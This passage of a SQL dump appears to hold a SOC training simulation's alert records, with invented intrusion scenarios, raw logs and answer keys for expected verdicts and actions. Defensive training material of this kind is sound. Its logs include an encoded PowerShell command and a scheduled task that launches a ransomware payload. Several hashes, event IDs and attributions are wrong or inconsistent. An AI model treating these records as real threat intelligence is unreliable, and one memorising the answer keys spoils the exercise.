AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(917, 'Backdoor Established on Critical Servers', 'high', 'Server Logs', 'A persistent backdoor was installed on critical servers by Lapsus$, enabling continued undetected access.', 'Persistence', 'T1055 - Process Injection', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.1.10\",\"username\":\"admin_user\",\"process_name\":\"svchost.exe\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"process_injection\",\"message\":\"Remote process injection detected on server 10.1.1.10 by user admin_user from IP 203.0.113.45.\"}', '2026-01-15 01:03:01', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal AD\",\"verdict\":\"suspicious\",\"details\":\"Admin user was compromised for unauthorized access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Lapsus$ backdoor malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.600Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"svchost.exe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"process_injection\\\",\\\"message\\\":\\\"Remote process injection detected on server 10.1.1.10 by user admin_user from IP 203.0.113.45.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.600Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"svchost.exe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"process_injection\\\",\\\"message\\\":\\\"Remote process injection detected on server 10.1.1.10 by user admin_user from IP 203.0.113.45.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.600Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"svchost.exe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"process_injection\\\",\\\"message\\\":\\\"Remote process injection detected on server 10.1.1.10 by user admin_user from IP 203.0.113.45.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.600Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"svchost.exe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"process_injection\\\",\\\"message\\\":\\\"Remote process injection detected on server 10.1.1.10 by user admin_user from IP 203.0.113.45.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.600Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"svchost.exe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"process_injection\\\",\\\"message\\\":\\\"Remote process injection detected on server 10.1.1.10 by user admin_user from IP 203.0.113.45.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(918, 'Lateral Movement Across Development Environment', 'high', 'User Activity Monitoring', 'Using compromised admin accounts, threat actors moved laterally across the development environment targeting repositories with Galaxy device bootloaders and TrustZone security code.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"user_activity\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"10.0.0.23\",\"external_attacker_ip\":\"203.0.113.45\",\"compromised_username\":\"admin_user1\",\"action\":\"access_repository\",\"repository_name\":\"GalaxyBootloaders\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_accessed\":\"TrustZone_code.zip\"}', '2026-01-15 01:03:01', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted repository server.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT activity.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user1\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_system\",\"verdict\":\"suspicious\",\"details\":\"Compromised account used for unauthorized access.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Known malware hash used in lateral movement activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.601Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"user_activity\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"compromised_username\\\":\\\"admin_user1\\\",\\\"action\\\":\\\"access_repository\\\",\\\"repository_name\\\":\\\"GalaxyBootloaders\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_accessed\\\":\\\"TrustZone_code.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.601Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"user_activity\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"compromised_username\\\":\\\"admin_user1\\\",\\\"action\\\":\\\"access_repository\\\",\\\"repository_name\\\":\\\"GalaxyBootloaders\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_accessed\\\":\\\"TrustZone_code.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.601Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"user_activity\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"compromised_username\\\":\\\"admin_user1\\\",\\\"action\\\":\\\"access_repository\\\",\\\"repository_name\\\":\\\"GalaxyBootloaders\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_accessed\\\":\\\"TrustZone_code.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.601Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"user_activity\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"compromised_username\\\":\\\"admin_user1\\\",\\\"action\\\":\\\"access_repository\\\",\\\"repository_name\\\":\\\"GalaxyBootloaders\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_accessed\\\":\\\"TrustZone_code.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.601Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"user_activity\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"compromised_username\\\":\\\"admin_user1\\\",\\\"action\\\":\\\"access_repository\\\",\\\"repository_name\\\":\\\"GalaxyBootloaders\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_accessed\\\":\\\"TrustZone_code.zip\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(919, 'Massive Data Exfiltration to External Servers', 'critical', 'Data Loss Prevention (DLP) System', 'The final phase of the operation involved transferring 190GB of sensitive source code to external servers. The threat actor Lapsus$ utilized a compromised internal server to exfiltrate the data to an external IP. Subsequently, they leveraged Telegram to initiate extortion, threatening to release the data unless their demands were met.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-01T14:53:22Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.77\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"user\":\"john.doe\",\"file_hash\":\"a6f8c4d1e2f3b4a5d6e7f8a9b0c1d2e3f4g5h6i7\",\"file_name\":\"sensitive_source_code.zip\",\"transfer_size\":\"190GB\",\"malware_associated\":false,\"communication_tool\":\"Telegram\"}', '2026-01-15 01:03:01', '2026-02-16 17:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with compromised server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"open_threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"External IP address known for data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"sensitive_source_code.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_dlp_system\",\"verdict\":\"suspicious\",\"details\":\"File name matches pattern of sensitive data.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"a6f8c4d1e2f3b4a5d6e7f8a9b0c1d2e3f4g5h6i7\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_dlp_system\",\"verdict\":\"suspicious\",\"details\":\"File hash associated with unauthorized data transfer.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_user_directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised during data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\",\"reset_credentials\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\",\"reset_credentials\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.603Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:53:22Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"john.doe\\\",\\\"file_hash\\\":\\\"a6f8c4d1e2f3b4a5d6e7f8a9b0c1d2e3f4g5h6i7\\\",\\\"file_name\\\":\\\"sensitive_source_code.zip\\\",\\\"transfer_size\\\":\\\"190GB\\\",\\\"malware_associated\\\":false,\\\"communication_tool\\\":\\\"Telegram\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.603Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:53:22Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"john.doe\\\",\\\"file_hash\\\":\\\"a6f8c4d1e2f3b4a5d6e7f8a9b0c1d2e3f4g5h6i7\\\",\\\"file_name\\\":\\\"sensitive_source_code.zip\\\",\\\"transfer_size\\\":\\\"190GB\\\",\\\"malware_associated\\\":false,\\\"communication_tool\\\":\\\"Telegram\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.603Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:53:22Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"john.doe\\\",\\\"file_hash\\\":\\\"a6f8c4d1e2f3b4a5d6e7f8a9b0c1d2e3f4g5h6i7\\\",\\\"file_name\\\":\\\"sensitive_source_code.zip\\\",\\\"transfer_size\\\":\\\"190GB\\\",\\\"malware_associated\\\":false,\\\"communication_tool\\\":\\\"Telegram\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.603Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:53:22Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"john.doe\\\",\\\"file_hash\\\":\\\"a6f8c4d1e2f3b4a5d6e7f8a9b0c1d2e3f4g5h6i7\\\",\\\"file_name\\\":\\\"sensitive_source_code.zip\\\",\\\"transfer_size\\\":\\\"190GB\\\",\\\"malware_associated\\\":false,\\\"communication_tool\\\":\\\"Telegram\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.603Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:53:22Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"john.doe\\\",\\\"file_hash\\\":\\\"a6f8c4d1e2f3b4a5d6e7f8a9b0c1d2e3f4g5h6i7\\\",\\\"file_name\\\":\\\"sensitive_source_code.zip\\\",\\\"transfer_size\\\":\\\"190GB\\\",\\\"malware_associated\\\":false,\\\"communication_tool\\\":\\\"Telegram\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(920, 'Initial Access via Exploit of SMB Vulnerability', 'high', 'Network Intrusion Detection System (NIDS)', 'An attacker exploited a known SMB vulnerability in unpatched Windows XP systems within the NHS network. This vulnerability allowed unauthorized access to internal systems, risking sensitive data exposure and potential system compromise.', 'Exploitation', 'T1190 - Exploit Public-Facing Application', 1, 'investigating', 34, '{\"timestamp\":\"2023-10-11T14:23:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.1.10\",\"protocol\":\"SMB\",\"exploit\":\"EternalBlue\",\"action\":\"access_granted\",\"username\":\"NHS_admin\",\"file_accessed\":\"confidential_patient_data.doc\",\"hash\":\"a6d7f4c8b3e2f0d5f3d9a6b8c7e9d0a1\",\"alert_id\":\"NIDS-20231011-001\",\"malware_associated\":\"WannaCry\"}', '2026-01-15 01:03:39', '2026-03-15 02:37:48', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous SMB exploits\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal NHS network system\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a6d7f4c8b3e2f0d5f3d9a6b8c7e9d0a1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with WannaCry malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_patient_data.doc\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file accessed during exploit\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(921, 'Execution of WannaCry Ransomware', 'critical', 'Endpoint Detection and Response (EDR)', 'The EDR system detected the execution of WannaCry ransomware attempting to encrypt critical hospital files and systems. This activity is consistent with advanced tactics employed by the Lazarus Group, aiming to disrupt operations and demand ransom for decryption keys.', 'Malware Deployment', 'T1486: Data Encrypted for Impact', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:35:00Z\",\"event_type\":\"execution\",\"source_ip\":\"185.92.220.0\",\"destination_ip\":\"192.168.15.10\",\"username\":\"hospital_admin\",\"filename\":\"wannacry.exe\",\"file_hash\":\"f4eac8d83b1f920b8b8d3b6c3c3a3f4e\",\"event_description\":\"Execution of malicious payload detected\",\"process_id\":4321,\"command_line\":\"C:\\\\Windows\\\\System32\\\\wannacry.exe\",\"alert_severity\":\"Critical\"}', '2026-01-15 01:03:39', '2026-02-16 17:54:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous ransomware attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.15.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal hospital network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"wannacry.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection and Response\",\"verdict\":\"malicious\",\"details\":\"Known ransomware executable.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f4eac8d83b1f920b8b8d3b6c3c3a3f4e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known WannaCry ransomware sample.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(922, 'Establishing Persistence through Scheduled Tasks', 'high', 'System Logs', 'The Lazarus Group has established persistence on a compromised system by creating a scheduled task that executes their ransomware payload, ensuring continued access even after initial detection and response attempts.', 'Persistence Mechanism', 'T1053.005', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"4698\",\"task_category\":\"Task Created\",\"computer\":\"compromised-host.local\",\"user\":\"SYSTEM\",\"task_name\":\"\\\\Microsoft\\\\Windows\\\\ScheduledTasks\\\\PersistenceTask\",\"task_content\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c start C:\\\\Users\\\\Public\\\\Documents\\\\ransomware_payload.exe\",\"task_author\":\"Administrator\",\"source_ip\":\"192.168.1.5\",\"attacker_ip\":\"104.27.142.15\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_name\":\"ransomware_payload.exe\",\"user_account\":\"admin_user\"}', '2026-01-15 01:03:39', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"104.27.142.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as ransomware payload related to Lazarus Group.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"File used in persistence mechanism by Lazarus Group.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account used for task creation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.606Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_category\\\":\\\"Task 